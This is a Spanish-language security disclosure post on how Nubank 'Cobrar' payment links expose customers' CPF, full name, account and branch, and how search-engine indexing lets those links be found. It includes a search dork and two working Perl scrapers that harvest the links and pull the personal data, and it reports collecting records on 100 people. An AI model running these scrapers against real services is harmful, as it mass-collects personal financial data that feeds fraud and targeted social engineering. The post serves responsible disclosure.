Heitor Gouvêa
Un pequeño caso de scraping de datos personales expuestos en la web
Tabla de contenido:
Resumen
Durante la realización de una investigación de seguridad en aplicaciones móviles, se identificó una funcionalidad en la aplicación de Nubank que permite la creación y el envío de “links de cobro” a múltiples destinatarios. Se descubrió una vulnerabilidad en esta funcionalidad que permitió mapear datos personales como CPF, nombre completo, número y agencia de la cuenta bancaria de varios clientes.
DISCLAIMER: La empresa responsable fue notificada de todos los detalles de esta investigación en el menor tiempo posible y respondió de manera ética y transparente, demostrando atención y compromiso con la seguridad de la funcionalidad. Durante las pruebas realizadas, no hubo invasión ni violación de sistemas. Además, la empresa implementó algunas medidas correctivas para reducir los riesgos potenciales asociados al problema reportado. Se proporcionaron recomendaciones adicionales para mitigar la vulnerabilidad, pero la empresa optó por no implementarlas en su totalidad.
Esta publicación también está disponible en: Portugués e Inglés;
Descripción
Dentro de la aplicación de Nubank, existe una funcionalidad llamada “Cobrar”. Su funcionamiento consiste en: 1) ingresar un valor si se desea, 2) hacer clic en confirmar y 3) se genera un código QR, con la opción de compartirlo o enviarlo a través de otra aplicación, como WhatsApp:
El contenido del código QR es el mismo enlace que puede compartirse a través de aplicaciones de mensajería. Cuando el enlace se abre en el navegador, se obtiene el siguiente resultado:
Se exponen, sin ningún tipo de control, algunos datos del usuario que generó el enlace, como: nombre completo, CPF, número de cuenta bancaria y agencia. El único requisito para obtener esta información sensible[1] es poseer dicha URL.
La URL en cuestión es generada exclusivamente por el cliente en su aplicación, y también es responsabilidad del cliente decidir cómo y con quién compartir cada URL generada.
Sin embargo, estas URLs son indexadas por motores de búsqueda, lo que permite el uso de dorks[2] para identificar más URLs relacionadas a este servicio.
Dork para restringir la búsqueda al sitio principal de Nubank, donde las URLs contengan el patrón “/pagar/” y se excluyan los resultados del blog:
site:nubank.com.br inurl:/pagar/ -blog
Resultado:
Además, es posible observar que algunos usuarios publicaban estas URLs en otros canales, como Twitter. Un uso común de la funcionalidad sería para recibir donaciones.
Prueba de concepto
Para demostrar el impacto del abuso de esta funcionalidad, se creó una prueba de concepto. La primera parte de esta PoC consiste en la construcción de un código capaz de utilizar un motor de búsqueda para colectar la mayor cantidad posible de URLs. Se desarrolló un scraper[3] utilizando Bing:
#!/usr/bin/env perl
use 5.030;
use strict;
use warnings;
use WWW::Mechanize;
use Mojo::Util qw(url_escape);
sub main {
my $dork = $ARGV[0];
if ($dork) {
$dork = url_escape($dork);
my %seen = ();
my $mech = WWW::Mechanize -> new();
$mech -> ssl_opts (verify_hostname => 0);
for my $page (0 .. 10) {
my $url = "https://wwww.bing.com/search?q=${dork}&first=${page}0";
$mech -> get($url);
my @links = $mech -> links();
foreach my $link (@links) {
$url = $link -> url();
next if $seen{$url}++;
if ($url =~ m/^https?/ && $url !~ m/bing|live|microsoft|msn/) {
print $url, "\n";
}
}
}
}
}
exit main();
Con este código, fue colectado 100 URLs válidas — este valor fue limitado a 100 con fines demostrativos, pero podría haber sido mayor:
Después de colectar las URLs en un archivo .txt, se desarrolló otro scraper para extraer los datos desde la página de Nubank:
#!/usr/bin/env perl
use 5.030;
use strict;
use warnings;
use Mojo::DOM;
use Mojo::UserAgent;
binmode(STDOUT, ":encoding(UTF-8)");
sub main {
my $urls_file = $ARGV[0];
if ($urls_file) {
my $userAgent = Mojo::UserAgent -> new (
agent => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)"
);
open my $urls_filehandle, "<", $urls_file or die $!;
while (<$urls_filehandle>) {
chomp ($_);
my $request = $userAgent -> get($_) -> result();
if ($request -> is_success()) {
my $account = $request -> dom -> find("tr td") -> map("text") -> join(",");
$account =~ s/Nome,//
&& $account =~ s/CPF,//
&& $account =~ s/Banco,//
&& $account =~ s/Tipo da conta,//
&& $account =~ s/Agência,//
&& $account =~ s/Conta,//
&& $account =~ s/Agência Métodos,//;
say $account;
}
}
close ($urls_filehandle);
}
}
exit main();
Y el resultado obtenido:
CPF, nombre completo, número de cuenta y agencia de 100 personas, en tan solo unos minutos y con pocas líneas de código.
Impacto
La posibilidad de que un atacante abuse de esta funcionalidad disponible en los sistemas de Nubank es alta debido a la facilidad de explotación. Esto puede exponer a varios usuarios, filtrando información sensible como se ilustró anteriormente. Además, un atacante con estos datos en mano podría utilizarlos para desarrollar una estrategia de ingeniería social muy bien dirigida.
Conclusión
A través de este análisis, es posible afirmar que un agente malicioso podría implementar scrapers para mapear las URLs de cobro de Nubank y, posteriormente, colectar la información personal presente en ellas. Este artículo presentó una PoC como una de esas implementaciones, utilizando un motor de búsqueda, pero aún existe espacio para otros canales como redes sociales (Twitter, Facebook y otras). Este escenario podría utilizarse para convertir a los clientes de Nubank en víctimas de ataques de spear phishing o ingeniería social.